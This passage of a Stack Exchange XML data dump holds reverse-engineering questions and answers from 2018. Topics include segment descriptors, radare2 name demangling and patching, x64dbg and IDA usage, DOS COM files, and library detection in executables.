manual correctly), I could nowhere find a picture corresponding to the Fig.3-8 on p.3-10 with 64-bit base addresses instead of 32-bit ones. The L-bit can be retrieved from that picture. It is not decoded in kd, however, in contrast to the other bits. The Flags value of 02xx of the first (Privilege Level 0, highest) and last (Privilege Level 3) code segments indicate the L-bit, and mark these code segments as 64 bit segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the OP's upper screenshot the Base and Limit are indeed 64 bits, if I get this right. However, the mapping to the lower output is not clear to me. My knowledge of kd is limited, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xxZbT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xxZbT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A limit of 0x1234 was requested. The segment is paged, as indicated by the G (granularity) bit, and decoded by kd. The intel manual is not so very clear, IMO. If one goes into the manual &quot;AMD64 Architecture Programmer’s Manual Volume 2: System Programming&quot; , it writes on p.81:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Setting the G bit to 1 indicates that the limit field is scaled by 4 Kbytes (4096 bytes)&quot;, also having mentioned in a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means the limit in bytes translates to 0x01234000. About the 0xfff I &lt;strong&gt;assume&lt;/strong&gt; that the system acts in the same way as if entering 0 in the limit field. Quote AMD, p.81: &quot;Setting the limit of 0 when G=1 [i.e. paging] inidcates a segment limit of 4095 [=0xfff]. In case the system acts in the same way with the request made here this would result in a limit value of 0x01234fff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another uncertainty remains, however. The given explanation assumes that WinDbg displays the limit in bytes and not in 4K pages.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="12800" LastEditDate="2018-06-29T11:34:23.360" LastActivityDate="2018-06-29T11:34:23.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18632" PostTypeId="1" AcceptedAnswerId="18633" CreationDate="2018-06-29T04:57:58.580" Score="5" ViewCount="756" Body="&lt;p&gt;I am analyzing a macOS app with radare2, and the app depends on a number of Qt frameworks. When I printed out the import symbols of the app's main executable, the names of the frameworks' functions have strange characters in them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if a framework exports a function name: &lt;code&gt;QLocalServer::listen(QStringconst&amp;amp;)&lt;/code&gt;, it becomes &lt;code&gt;_sym.imp._ZN12QLocalServer6listenERK7QString&lt;/code&gt; in the main executable's imports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example: &#xA;&lt;code&gt;QNetworkProxyFactory::setUseSystemConfiguration(bool)&lt;/code&gt; becomes&#xA;&lt;code&gt;sym.imp._ZN20QNetworkProxyFactory25setUseSystemConfigurationEb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain why there are those characters? I don't see those characters when analyzing the export functions of the frameworks. &lt;/p&gt;&#xA;" OwnerUserId="24844" LastActivityDate="2018-06-29T06:28:16.087" Title="Import symbols containing strange characters" Tags="|radare2|macos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18633" PostTypeId="2" ParentId="18632" CreationDate="2018-06-29T06:28:16.087" Score="10" Body="&lt;p&gt;These &quot;weird&quot; names are produced by the compiler and are called Name Mangling or Name Decoration. These names are shown by radare2 but are not produced or generated by it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote from &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/56h2zst2.aspx&quot; rel=&quot;noreferrer&quot;&gt;MSDN&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Functions, data, and objects in C and C++ programs are represented&#xA;  internally by their decorated names. A decorated name is an encoded&#xA;  string created by the compiler during compilation of an object, data,&#xA;  or function definition. It records calling conventions, types,&#xA;  function parameters and other information together with the name. This&#xA;  name decoration, also known as name mangling, helps the linker find&#xA;  the correct functions and objects when linking an executable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Wikipedia article about Name Mangling has &lt;a href=&quot;https://en.wikipedia.org/wiki/Name_mangling#Complex_example&quot; rel=&quot;noreferrer&quot;&gt;some great examples&lt;/a&gt; of Name Mangling of C++ produced by GCC. I suggest you read it thoroughly to understand the subject better. It explains how mangled names are produced and describes the structure of it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;radare2, just as many different Disassemblers, knows to &lt;strong&gt;de&lt;/strong&gt;mangle the different names. There are several configuration variables that handle Name Mangling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;asm.demangle: Show demangled symbols in disasm&#xA;bin.demangle: Import demangled symbols from RBin&#xA;bin.demanglecmd: run xcrun swift-demangle and similar if available (SLOW)&#xA;bin.lang: Language for bin.demangle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if you want radare2 to show you the demangled names on the assembly, use &lt;code&gt;e asm.demangle = true&lt;/code&gt;. Make sure to tell radare2 to load the demangled symbols. You can do this by setting &lt;code&gt;e bin.demangle&lt;/code&gt; to true. You might need to load the binary again - use &lt;code&gt;oo&lt;/code&gt; for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to demangle a specific name, you can use &lt;code&gt;iD &amp;lt;lang&amp;gt; &amp;lt;name&amp;gt;&lt;/code&gt; which will demangle a symbol name for a specific language. Just use it like this: &lt;code&gt;iD cxx &amp;lt;mangled name&amp;gt;&lt;/code&gt; for C++ Name Mangling.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-06-29T06:28:16.087" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18634" PostTypeId="1" CreationDate="2018-06-29T09:17:57.713" Score="3" ViewCount="5412" Body="&lt;p&gt;i.e. when the program is running, and x64dbg is attached to the process - how can i see where it is at this moment?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IfheI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IfheI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2018-12-01T10:17:30.320" LastActivityDate="2022-08-28T17:06:36.437" Title="x64dbg - see the current position?" Tags="|x64dbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18635" PostTypeId="1" AcceptedAnswerId="18644" CreationDate="2018-06-29T10:01:57.537" Score="5" ViewCount="4442" Body="&lt;p&gt;when you click &lt;code&gt;String references&lt;/code&gt; in x64dbg, it only lists strings from current module/file. Is that possible to search strings in multiple (selected) files/modules?&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2018-06-30T21:36:34.183" LastActivityDate="2018-06-30T21:36:34.183" Title="Search strings in multiple files/processes/modules (x64dbg)" Tags="|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18636" PostTypeId="2" ParentId="17847" CreationDate="2018-06-29T10:19:58.647" Score="3" Body="&lt;p&gt;As can be demonstrated by &lt;a href=&quot;http://www.sunshine2k.de/coding/javascript/crc/crc_js.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CRC width: CRC-8&lt;/li&gt;&#xA;&lt;li&gt;CRC parametrization: Predefined, CRC8_SAE_J1850 (Polynomial: 0x1d, Initial value: 0xff, Final xor: 0xff)&lt;/li&gt;&#xA;&lt;li&gt;CRC Input Data: Bytes, D1-D7&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2018-06-29T10:19:58.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18637" PostTypeId="2" ParentId="1370" CreationDate="2018-06-29T15:24:15.020" Score="3" Body="&lt;p&gt;I'm using &lt;a href=&quot;https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine&lt;/a&gt;&#xA;It's the decompiler from IntelliJ, it decompile codes where JD-GUI fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a unofficial mirror to download:&#xA;&lt;a href=&quot;http://files.minecraftforge.net/maven/net/minecraftforge/fernflower/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://files.minecraftforge.net/maven/net/minecraftforge/fernflower/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24852" LastActivityDate="2018-06-29T15:24:15.020" CommentCount="0" CommunityOwnedDate="2018-06-29T15:24:15.020" ContentLicense="CC BY-SA 4.0" />
  <row Id="18638" PostTypeId="1" CreationDate="2018-06-29T15:27:36.247" Score="1" ViewCount="2074" Body="&lt;p&gt;In order to patch a x86 elf file on Linux, I'm struggling to insert a specific assembler instruction into the binary file without overwriting any of the preexisting instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading quite extensively&#xA;Radare2 documentation regarding this matter, and so far found none of the  commands described by the doc (&lt;code&gt;wa&lt;/code&gt;, &lt;code&gt;wo&lt;/code&gt;, &lt;code&gt;wex&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt; in the &lt;em&gt;visual mode&lt;/em&gt; and even the &lt;em&gt;visual assembler&lt;/em&gt;) giving me the ability to carry it out.&lt;br&gt;&#xA;All of these commands do actually overwrite the instruction located at the offset in which the new instruction gets written.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing that the &lt;code&gt;mov&lt;/code&gt; instruction I plan to insert would take at the very most &lt;em&gt;8 bytes&lt;/em&gt;, I've extended the size of the binary file accordingly, via the &lt;em&gt;r2&lt;/em&gt; command &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r+ 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My aim was then to shift all the instructions at the target offset so as to &quot;make room&quot; for the instruction to insert, but couldn't find any command that gets the job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a typical example of what I'm aiming at :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the original binary dump : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804848a    c745f8000000.  mov dword [local_8h], 0                                                                                    &#xA;0x08048491    c745f4000000.  mov dword [local_ch], 0                                                                                    &#xA;0x08048498    8b4508         mov eax, dword [arg_8h]&#xA;0x0804849b    890424         mov dword [esp], eax                                                                                       &#xA;0x0804849e    e8e1feffff     call sym.imp.strlen        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binary dump after patching :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804848a    c745f8000000.  mov dword [local_8h], 0                                                                                   &#xA;0x08048491    c745f4000000.  mov dword [local_ch], 0                                                                                   &#xA;0x08048498    c745fc000000.  mov dword [local_4h], 0   ; inserted instruction                                                                           &#xA;0x0804849f    8b4508         mov eax, dword [arg_8h]   ; following instructions get shifted from here&#xA;0x08048492    890424         mov dword [esp], eax                                                                                      &#xA;0x08048495    e8e1feffff     call sym.imp.strlen  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that even possible ?&lt;/p&gt;&#xA;" OwnerUserId="24851" LastEditorUserId="24851" LastEditDate="2018-06-29T15:40:13.767" LastActivityDate="2018-10-25T06:20:00.133" Title="Radare2 - Insert asm instructions without overwriting" Tags="|disassembly|x86|radare2|elf|patching|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18639" PostTypeId="1" CreationDate="2018-06-29T20:49:03.317" Score="8" ViewCount="385" Body="&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: We want to be able to tell with some certainty that specific versions of internal libraries are being used by a program. For example, if a software uses old, deprecated libraries internally. Also, we would like to be able to tell what shared libraries it is using on the host system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What we have done so far&lt;/strong&gt;: we used &lt;code&gt;strings2&lt;/code&gt; to look at UNICODE and ASCII strings in the executable. Manual analysis of these strings may provide library versions being used internally some times. As you can imagine, this is an inefficient method and not very reliable. We also looked at &lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;noreferrer&quot;&gt;'Dependency Walker'&lt;/a&gt; to build a tree of all dependencies. This doesn't allow us to know if outdated libraries are being used internally though. We also read two research papers around the subject:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dro.deakin.edu.au/view/DU:30028345&quot; rel=&quot;noreferrer&quot;&gt;An automated classification system based on the strings of trojan and virus families&lt;/a&gt;, by Tian, Batten, Islam and Versteeg, MALWARE 2009.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://arxiv.org/pdf/1703.00298.pdf&quot; rel=&quot;noreferrer&quot;&gt;Automatic Library Version Identification, an Exploration of Techniques&lt;/a&gt;, by Thomas Rinsma, 2017. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: Is there a better way or an approach to be able to determine if an executable is using outdated libraries internally? For example, looking at strings is one possible way but is there a way to automate this? Because otherwise, looking at 1000s of lines of ASCII and UNICODE strings can get time consuming. &lt;/p&gt;&#xA;" OwnerUserId="17040" LastEditorUserId="53" LastEditDate="2018-08-01T13:54:16.273" LastActivityDate="2018-11-29T15:01:55.333" Title="How to detect internal and shared libraries used in an executable file?" Tags="|static-analysis|dynamic-analysis|executable|binary|libraries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18642" PostTypeId="1" AcceptedAnswerId="18643" CreationDate="2018-06-29T23:44:12.440" Score="2" ViewCount="217" Body="&lt;p&gt;I've got an hexdump of COM MSDOS 8086 file, and I'm trying to transform it to COM executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking around, I found a site&lt;a href=&quot;https://onlinedisassembler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt; that gives reasonable disassembly of the hexdump. Although, when I try to use that assembly generated code in a TASM, it doesn't build, and throw errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, I tried also to use IDA, and it does not seem to get the same assembly result as &lt;a href=&quot;https://onlinedisassembler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there any other way that I'm missing in transforming hexdump into an executable COM file?&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://onlinedisassembler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The site&lt;/a&gt; gives me expressions like: &lt;code&gt;mov    $0x400,%di&lt;/code&gt; , but TASM only recognize &lt;code&gt;mov di,400&lt;/code&gt;. Is that a better way to translate the hexdumps into instructions that TASM will recognize?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;BTW - The context is that I'm trying to solve an RE riddle, which I cannot post online (and I'm a pretty newbie in RE and assembly).&lt;/p&gt;&#xA;" OwnerUserId="24854" LastEditorUserId="245" LastEditDate="2018-06-30T20:23:11.833" LastActivityDate="2018-06-30T20:23:11.833" Title="How to create executable COM file from hexdump code of msdos 8086" Tags="|dos-com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18643" PostTypeId="2" ParentId="18642" CreationDate="2018-06-30T00:12:20.940" Score="3" Body="&lt;p&gt;DOS COM files do not have any structure or headers; they are loaded into memory by DOS as-is and are executed from the first byte, so you just need to convert hex bytes to binary to get a COM file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference you see is likely caused by the processor mode setting; &lt;code&gt;mov di, 400h&lt;/code&gt; in 16-bit mode and and &lt;code&gt;mov edi, 0x400&lt;/code&gt; in 32-bit mode have exactly the same opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA knows that COM files are 16-bit code and disassembles them accordingly, but ODA seems to default to 32-bit mode. To force 16-bit disassembly, select i8086 in the Mode combo box.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-06-30T00:12:20.940" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18644" PostTypeId="2" ParentId="18635" CreationDate="2018-06-30T02:26:41.460" Score="8" Body="&lt;p&gt;From what I know you can search for &lt;code&gt;String references&lt;/code&gt; in all modules.&lt;br&gt;&#xA;The way is: right click ---&gt; search for ---&gt; all modules ---&gt; String references&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rs1ud.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rs1ud.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fUUSv.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fUUSv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2018-06-30T02:26:41.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18645" PostTypeId="2" ParentId="18634" CreationDate="2018-06-30T17:11:34.953" Score="4" Body="&lt;p&gt;From your screenshot I understand that you want to break on. You can do this by breaking on the debug string event. Use the following setting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MoHki.png&quot; alt=&quot;setting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to pause the execution, simply click the “pause” button. If you want to see the current instruction executes you can use the “Threads” tab and double click the EIP/RIP column of one you’re interested in.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2018-11-18T17:44:28.730" LastActivityDate="2018-11-18T17:44:28.730" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18646" PostTypeId="1" CreationDate="2018-06-30T18:50:38.820" Score="0" ViewCount="268" Body="&lt;p&gt;Lately I came to game-bot for browser flash-game which gets data from  flashplayer dll. The main point of doing this was to get decrypted data(JSON) sent from game server to client through TCP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have an idea I can do something like this ? For example debugging the flashplayer DLL and find which function is responsible for decryption of these data?&lt;/p&gt;&#xA;" OwnerUserId="24860" LastEditorUserId="24860" LastEditDate="2018-08-02T18:19:51.973" LastActivityDate="2023-12-22T20:01:45.173" Title="Hooking flash player dll" Tags="|memory|function-hooking|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18647" PostTypeId="2" ParentId="18555" CreationDate="2018-06-30T22:29:59.933" Score="1" Body="&lt;p&gt;These are not privileged instructions.  What has changed is the manner in which the VM is running.  Now with hypervisors, those values could well be the same inside and outside of the VM.  They were never particularly reliable methods to detect VMs anyway.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2018-08-27T21:11:02.160" LastActivityDate="2018-08-27T21:11:02.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18648" PostTypeId="2" ParentId="18501" CreationDate="2018-06-30T22:33:24.257" Score="1" Body="&lt;p&gt;The value could well be an absolute offset within the file, though it seems unlikely.  CIH inserted itself into spaces between the end of the file header and the start of the section, and between the end of one section and the start of the next, etc.  It changed the PE entrypoint field to point to itself so that it ran immediately.  If you use a disassembler such as IDA, you will be able to see the code, and from there you can extract it with a hex editor or similar.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-06-30T22:33:24.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18649" PostTypeId="2" ParentId="18575" CreationDate="2018-06-30T22:37:01.393" Score="1" Body="&lt;p&gt;The act of injecting a thread will trigger a call to any Thread Local Storage callbacks which the PE file might carry, even when all other threads are suspended.  Such a callback might be responsible for overwriting your thread code, since the callback has access to the important thread information such as its entry-point.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2018-06-30T22:37:01.393" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18650" PostTypeId="1" AcceptedAnswerId="18652" CreationDate="2018-07-01T02:20:43.510" Score="2" ViewCount="161" Body="&lt;p&gt;I have a piece of malware dumped by segments. A lot of the data section seems to be screwed up when loaded into IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, pointers are stored in a single array which is incorrect. I want these to be separated and each value have their own pointer which I can xref across the db. Instead of seeing them accessed as &lt;code&gt;array[ index ]&lt;/code&gt; which is too hard to keep track of and impossible to xref correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SFYky.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFYky.png&quot; alt=&quot;array&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, many floating point values ( represented in hex ) are stored like this instead of as a single hex number. I want these values to represent 0x3d4c0cc0cd ( 0.05 ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nwsdM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nwsdM.png&quot; alt=&quot;floats&quot;&gt;&lt;/a&gt;&#xA;I'm not all that familiar with IDA and I'm wondering if there is a way to fix this ( preferably in bulk instead of me having to go through each value one by one )&lt;/p&gt;&#xA;" OwnerUserId="24863" LastEditorUserId="24863" LastEditDate="2018-07-01T16:53:38.237" LastActivityDate="2018-07-01T16:53:38.237" Title="Fixing up data sections of a malware sample in IDA database?" Tags="|ida|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18651" PostTypeId="1" CreationDate="2018-07-01T05:51:22.450" Score="3" ViewCount="73" Body="&lt;p&gt;Let's say I have a very simple pattern I'm looking for. E.g. the following regex,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mov.*(eax|edx|ecx|esi|edi), \[(eax|edx|ecx|esi|edi)\+30h\]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm also looking for references to this in which the register written to is called, since this represents an offset for a particular function pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I'm seeing thousands of matches with the binary I'm looking at. For all I know, the function pointer could also be passed to some other function down X layers and then called there. This obviously creates a significant layer of complexity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that make it possible to search for matches using the above regex, but also look (up to a specific call depth and/or instruction count from the instruction matched) for calls to the actual register?&lt;/p&gt;&#xA;" OwnerUserId="15981" LastActivityDate="2018-07-01T19:05:00.740" Title="Finding a particular call to an offset within a vtable using pattern matching" Tags="|binary-analysis|x86|tools|static-analysis|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18652" PostTypeId="2" ParentId="18650" CreationDate="2018-07-01T08:50:09.130" Score="0" Body="&lt;p&gt;IDA, as an &lt;em&gt;interactive&lt;/em&gt; disassembler allows you to change how data is displayed to fit the actual meaning and usage. Although IDA tries to infer data types (among other things) it is not always successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you can place the cursor on a data item or operand and either right click or use the Edit menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to address your second issue and to set a data type to a floating point number you'll need to place your cursor on it and click the Edit-&gt;Operand-&gt;Number-&gt;Floating point submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first issue is a little more tricky. If the code in front of you uses an offset in an array to get different pointers, there's  no easy and clean way to hide that, and there shouldn't be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike the floating point case, this time IDA inferred data &lt;em&gt;correctly&lt;/em&gt;, and I do not recommend hiding that information from the user (aka you). Instead, you may wanna write a short IDAPython script that would add comments according to the pointer used, as well as actually take the time to understand what those indices mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a structure and applying it to the array, giving names to each offset, is something I often do. You can also create an enum with indices named by the pointer's function.&#xA;&lt;em&gt;If I misunderstood and IDA did infer the pointers array incorrectly please  correct me and make it clearer in your question.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-01T08:50:09.130" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18653" PostTypeId="2" ParentId="18651" CreationDate="2018-07-01T09:02:29.230" Score="2" Body="&lt;p&gt;If you often find yourself doing similar things, you may want to read about intermediate representations. In the context of reverse engineering, those are languages made to be derived from assembly and used as an abstraction layer that's easier to edit and search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, you missed some of the potential &quot;complications&quot; in your regex/search patten:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Offsets may be added in multiple instructions (Think about &lt;code&gt;lea eax, [ecx+20h] ; mov eax, [eax+10h]&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Instructions can be interleaved between unrelated instructions for pipeline optimisations.&lt;/li&gt;&#xA;&lt;li&gt;Unrelated instructions can override related registers, causing false positives.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And several other complications...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is saying your question may seem innocent but in reality you touched a complex and difficult subject.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-01T09:02:29.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18654" PostTypeId="1" CreationDate="2018-07-01T13:32:58.583" Score="2" ViewCount="168" Body="&lt;p&gt;I'm debugging a &lt;code&gt;.exe&lt;/code&gt; file on Windows with IDA's debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify when the code calls the &lt;code&gt;random()&lt;/code&gt; function?&lt;/p&gt;&#xA;" OwnerUserId="24868" LastEditorUserId="2147" LastEditDate="2018-08-29T04:53:13.150" LastActivityDate="2018-08-29T04:53:13.150" Title="How to identify when a function is being called using IDA?" Tags="|ida|windows|debugging|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18655" PostTypeId="2" ParentId="18654" CreationDate="2018-07-01T14:12:08.887" Score="4" Body="&lt;p&gt;While the debugger is loaded and the executable is running, double-click on the &lt;code&gt;random()&lt;/code&gt; function entry in the imports tab/view to see it in the disassembler view. Then place a breakpoint on it using &lt;em&gt;Debugger -&gt; Breakpoints -&gt; Add breakpoint&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-02T10:12:07.987" LastActivityDate="2018-07-02T10:12:07.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18656" PostTypeId="2" ParentId="18651" CreationDate="2018-07-01T19:05:00.740" Score="3" Body="&lt;p&gt;sometimes the call may be performed without an intermediate load, e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call dword ptr [esi+30h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as for tracking the value loaded into the register, this is a data flow  analysis problem and can’t be solved (except for trivial cases) using just pattern matching. you should look into data flow analysis theory, e.g. involving intermediate representation (IR) of instructions. I’m afraid it can’t be covered by just a single post. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-01T19:05:00.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18657" PostTypeId="1" CreationDate="2018-07-01T20:25:43.570" Score="2" ViewCount="2658" Body="&lt;p&gt;When I want to debug an .exe on Windows with IDA  I can choose between Windbg or local debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, is there any difference if I use Windbg tool (windows software) to debug .exe file, or if I debug with IDA and choose Windbg debugger?&lt;/p&gt;&#xA;" OwnerUserId="24871" LastEditorUserId="2147" LastEditDate="2018-07-02T10:08:51.403" LastActivityDate="2018-07-02T10:08:51.403" Title="What is the difference between Windbg and local debugger in IDA" Tags="|ida|windows|debugging|x86|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
